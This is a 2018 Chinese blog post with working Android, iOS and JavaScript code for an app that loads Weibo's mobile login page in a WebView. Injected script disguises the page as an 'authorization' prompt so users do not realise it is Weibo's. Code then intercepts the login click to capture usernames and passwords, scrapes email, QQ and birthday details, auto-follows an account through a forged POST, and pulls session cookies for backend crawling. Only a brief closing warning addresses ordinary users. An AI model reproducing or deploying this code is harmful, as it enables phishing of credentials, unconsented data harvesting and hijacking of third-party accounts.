微博app端使用者資訊獲取方法探究

zgbgx發表於2018-02-06

github地址

專案目標

在app(ios和android)端使用webview元件與js進行互動,串改頁面,讓使用者授權登入後,獲取使用者關鍵資訊,並完成自動關注一個賬號。

傳統爬蟲模式的侷限

傳統爬蟲模式,讓使用者在客戶端在輸入賬號密碼,然後傳送到後端進行登入,爬取資訊,這種方式將要面對各種人機驗證措施,加密方法複雜的情況下,還得選擇selenium,效能更無法保證。同時,對於個人賬戶,安全措施越來越嚴,使用代理ip進行操作,很容易造成異地登入等問題,代理ip也很可能在全網被重複使用的情況下,被封殺,頻繁的代理ip切換也會帶來需要二次登入等問題。 所以這兩年年來,發現市面上越來越多的提供sdk方式的資料提供商,經過抓包及反編譯sdk,發現其大多數使用webview載入第三方頁面的方式完成登入,有的在登入完成之後,獲取cookie傳送到後端完成爬取,有的直接在app內完成所需資訊的收集。

登入

這是微博移動端登入頁

weibo原移動端登入頁.png
首先使用JavaScript串改當前頁面元素,讓使用者沒法意識到這是微博官方的登入頁。

載入頁面

android

webView.loadUrl(LOGINPAGEURL);
複製程式碼

iOS

[self requestUrl:self.loginPageUrl];
//請求url方法
-(void) requestUrl:(NSString*) urlString{
    NSURL* url=[NSURL URLWithString:urlString];
    NSURLRequest* request=[NSURLRequest requestWithURL:url];
    [self.webView loadRequest:request];
}
複製程式碼

js程式碼注入

首先我們注入js程式碼到app的webview中 android

private void injectScriptFile(String filePath) {
        InputStream input;
        try {
            input = webView.getContext().getAssets().open(filePath);
            byte[] buffer = new byte[input.available()];
            input.read(buffer);
            input.close();
            // String-ify the script byte-array using BASE64 encoding
            String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP);
            String funstr = "javascript:(function() {" +
                    "var parent = document.getElementsByTagName('head').item(0);" +
                    "var script = document.createElement('script');" +
                    "script.type = 'text/javascript';" +
                    "script.innerHTML = decodeURIComponent(escape(window.atob('" + encoded + "')));" +
                    "parent.appendChild(script)" +
                    "})()";
            execJsNoReturn(funstr);
        } catch (IOException e) {
            Log.e(TAG, "injectScriptFile: " + e);
        }
    }
複製程式碼

iOS

//注入js檔案
- (void) injectJsFile:(NSString *)filePath{
    NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"];
    NSData *data=[NSData dataWithContentsOfFile:jsPath];
    NSString *responData =  [data base64EncodedStringWithOptions:0];
    NSString *jsStr=[NSString stringWithFormat:@"javascript:(function() {\
                     var parent = document.getElementsByTagName('head').item(0);\
                     var script = document.createElement('script');\
                     script.type = 'text/javascript';\
                     script.innerHTML = decodeURIComponent(escape(window.atob('%@')));\
                     parent.appendChild(script)})()",responData];
    [self.webView evaluateJavaScript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
        
    }];
}
複製程式碼

我們都採用讀取js檔案,然後base64編碼後,使用window.atob把其做為一個指令碼注入到當前頁面(注意:window.atob處理中文編碼後會得到的編碼不正確,需要使用ecodeURIComponent escape來進行正確的校正。) 在這裡已經使用了app端,呼叫js的方法來建立元素。

app端呼叫js方法

android端:

webView.evaluateJavascript(funcStr, new ValueCallback<String>() {
            @Override
            public void onReceiveValue(String s) {

            }

        });
複製程式碼

ios端:

[self.webView evaluateJavaScript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){
        
    }];
複製程式碼

這兩個方法可以獲取返回值,正因為如此,可以使用js提取頁面資訊後,返回給webview,然後收集資訊完成之後,彙總進行通訊。

js串改頁面

//串改頁面元素,讓使用者以為是授權登入
function getLogin(){
 var topEle=selectNode('//*[@id="avatarWrapper"]');
 var imgEle=selectNode('//*[@id="avatarWrapper"]/img');
 topEle.remove(imgEle);
 var returnEle=selectNode('//*[@id="loginWrapper"]/a');
 returnEle.className='';
 returnEle.innerText='';
 pEle=selectNode('//*[@id="loginWrapper"]/p');
 pEle.className="";
 pEle.innerHTML="";
 footerEle=selectNode('//*[@id="loginWrapper"]/footer');
 footerEle.innerHTML="";
 var loginNameEle=selectNode('//*[@id="loginName"]');
 loginNameEle.placeholder="請輸入使用者名稱";
 var buttonEle=selectNode('//*[@id="loginAction"]');
 buttonEle.innerText="請進行使用者授權";
 selectNode('//*[@id="loginWrapper"]/form/section/div[1]/i').className="";
 selectNode('//*[@id="loginWrapper"]/form/section/div[2]/i').className="";
 selectNode('//*[@id="loginAction"]').className="btn";
 selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
 return window.webkit;
}
function transPortUnAndPw(){
 username=selectNode('//*[@id="loginName"]').value;
 pwd=selectNode('//*[@id="loginPassword"]').value;
 window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}
複製程式碼

使用js修改頁面元素,使之看起來不會讓人發覺這是weibo官方的頁面。 修改後的頁面如圖:

修改後登入頁面.png

串改登入點選事件,獲取使用者名稱密碼

selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
function transPortUnAndPw(){
  username=selectNode('//*[@id="loginName"]').value;
  pwd=selectNode('//*[@id="loginPassword"]').value;
  window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}
複製程式碼

同時串改登入點選按鈕,通過js呼叫app webview的方法,把使用者名稱和密碼傳遞給app webview 完成資訊收集。

js呼叫webview的方法

android端:

// js程式碼
window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd}));
//Java程式碼
webView.addJavascriptInterface(new WeiboJsInterface(), "weibo");
public class WeiboJsInterface {
        @JavascriptInterface
        public void getPwd(String returnValue) {
            try {
                unpwDict = new JSONObject(returnValue);
            } catch (JSONException e) {
                e.printStackTrace();
            }
        }
    }
複製程式碼

android通過實現一個@JavaScriptInterface介面,把這個方法新增類新增到webview的瀏覽器核心之上,當呼叫這個方法時,會觸發android端的呼叫。 ios端:

//js程式碼
window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
//oc程式碼
WKUserContentController *userContentController = [[WKUserContentController alloc] init];
 [userContentController addScriptMessageHandler:self name:@"getInfo"];

- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message
{
    
    self.unpwDict=[self getReturnDict:message.body];
}
複製程式碼

ios方式,實現方式與此類似,不過由於我對oc以及ios開發不熟悉,程式碼執行不符合期望,希望專業的能指正。

個人資訊獲取

直接提取頁面的難點

webview這個元件,無論是在android端 onPageFinished方法還是ios端的didFinishNavigation方法,都無法正確判定頁面是否載入完全。所以對於很多頁面,還是選擇走介面

請求介面

本專案中,獲取使用者自己的微博,關注,和分析,都是使用介面,拿到預覽頁,直接解析數,對於關鍵的引數,需要仔細抓包獲取

抓包1.png
仔細分析 “我”這個標籤下的請求情況,發現https://m.weibo.cn/home/me?format=cards這個連結包含使用者核心資料,通過這個請求,獲取核心引數,然後,獲取使用者的微博 關注 粉絲的預覽頁面。 然後通過

JSON.stringify(JSON.parse(document.getElementsByTagName('pre')[0].innerText))
複製程式碼

獲取json字串,並傳到app端進行解析。 解析及多次請求的邏輯

請求頁面

也有頁面,如個人資料,頁面較簡單,可以使用js提取

js程式碼

function getPersonInfo(){
  var name=selectNodeText('//*[@id="J_name"]');
  var sex=selectNodeText('/*[@id="sex"]/option[@selected]');
  var location=selectNodeText('//*[@id="J_location"]');
  var year=selectNodeText('//*[@id="year"]/option[@selected]');
  var month=selectNodeText('//*[@id="month"]/option[@selected]');
  var day=selectNodeText('//*[@id="day"]/option[@selected]');
  var email=selectNodeText('//*[@id="J_email"]');
  var blog=selectNodeText('//*[@id="J_blog"]');
  if(blog=='輸入部落格地址'){
    blog='未填寫';
  }
  var qq=selectNodeText('//*[@id="J_QQ"]');
  if(qq=='QQ帳號'){
    qq="未填寫";
  }
  birthday=year+'-'+month+'-'+day;
  theDict={'name':name,'sex':sex,'localtion':location,'birthday':birthday,'email':email,'blog':blog,'qq':qq};
  return JSON.stringify({'personInfomation':theDict});
}
複製程式碼

由於webview不支援 $x 的xpath寫法,為了方便,使用原生的XPathEvaluator, 實現了特定的提取。

function selectNodes(sXPath) {
  var evaluator = new XPathEvaluator();
  var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (result != null) {
    var nodeArray = [];
    var nodes = result.iterateNext();
    while (nodes) {
      nodeArray.push(nodes);
      nodes = result.iterateNext();
    }
    return nodeArray;
  }
  return null;
};
//選取子節點
function selectChildNode(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    return newNode;
  }
}

function selectChildNodeText(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode != null) {
      return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
    } else {
      return "";
    }
  }
}

function selectChildNodes(sXPath, element) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var nodeArray = [];
    var newNode = newResult.iterateNext();
    while (newNode) {
      nodeArray.push(newNode);
      newNode = newResult.iterateNext();
    }
    return nodeArray;
  }
}

function selectNodeText(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
    }
    return "";
  }
}
function selectNode(sXPath) {
  var evaluator = new XPathEvaluator();
  var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
  if (newResult != null) {
    var newNode = newResult.iterateNext();
    if (newNode) {
      return newNode;
    }
    return null;
  }
}
複製程式碼

自動關注使用者

由於個人微博頁面 onPageFinished與didFinishNavigation這兩個方法無法判定頁面是否載入完全, 為了解決這個問題,在android端,使用攔截url,判定頁面載入圖片的數量來確定,是否,載入完全

//由於頁面的正確載入onPageFinieshed和onProgressChanged都不能正確判定,所以選擇在載入多張圖片後,判定頁面載入完成。
            //在這樣的情況下,自動點選元素,完成自動關注使用者。
            @Override
            public void onLoadResource(WebView view, String url) {
                if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) {
                    newIndex++;
                    if (newIndex == 5) {
                        webView.post(new Runnable() {
                            @Override
                            public void run() {
                                injectJsUseXpath("autoFocus.js");
                                execJsNoReturn("autoFocus();");
                            }
                        });
                    }
                }
                super.onLoadResource(view, url);
            }
複製程式碼

js 自動點選

function autoFocus(){
  selectNode('//span[@class="m-add-box"]').click();
}
複製程式碼

在ios端,使用訪問介面的方式

抓包2.png
除了目標使用者的id外,還有一個st字串,通過chrome的search,定位,然後通過js提取

function getSt(){
  return config['st'];
}
複製程式碼

然後構造post,請求,完成關注

- (void) autoFocus:(NSString*) st{
    //Wkwebview採用js模擬完成表單提交
    NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = \"post\"; \
                     var form = document.createElement(\"form\"); \
                     form.setAttribute(\"method\", method); \
                     form.setAttribute(\"action\", path); \
                     for(var key in params) { \
                     if(params.hasOwnProperty(key)) { \
                     var hiddenField = document.createElement(\"input\");\
                     hiddenField.setAttribute(\"type\", \"hidden\");\
                     hiddenField.setAttribute(\"name\", key);\
                     hiddenField.setAttribute(\"value\", params[key]);\
                     form.appendChild(hiddenField);\
                     }\
                     }\
                     document.body.appendChild(form);\
                     form.submit();\
                     }\
                     post('https://m.weibo.cn/api/friendships/create',{'uid':'1195242865','st':'%@'});",st];
    [self execJsNoReturn:jsStr];
}
複製程式碼

ios WkWebview沒有post請求,介面,所以構造一個表單提交,完成post請求。 完成,一個自動關注,當然,構造一個使用者id的列表,很簡單就可以實現自動關注多個使用者。

關於cookie

如果需要爬取的資料量大,可以選擇爬取少量關鍵資訊後,把cookie傳到後端處理 android 端 cookie處理

CookieSyncManager.createInstance(context);  
CookieManager cookieManager = CookieManager.getInstance(); 
複製程式碼

通過cookieManage物件可以獲取cookie字串,傳送到後端,繼續爬取

ios端cookie處理

NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies;
複製程式碼

處理方式與android端類似。

總結

對於資料工程師來說,webview有點類似於selenium,但是執行在服務端的selenium,有太多的侷限性。webview的在客戶端執行,就像一個使用者就是一臺肉機。 以webview為基礎,使用app收集資訊加以利用,現階段大多數人都還沒意識到,但是,市場上的產品已經越來越多,特別是那些對資料有特殊需要的各種金融機構。 對於普通使用者來說,不要輕易在一個app上登入第三方賬戶,資訊洩露,財產損失,在按下登入或者本例中的假裝授權後,都是不可避免的。

相關文章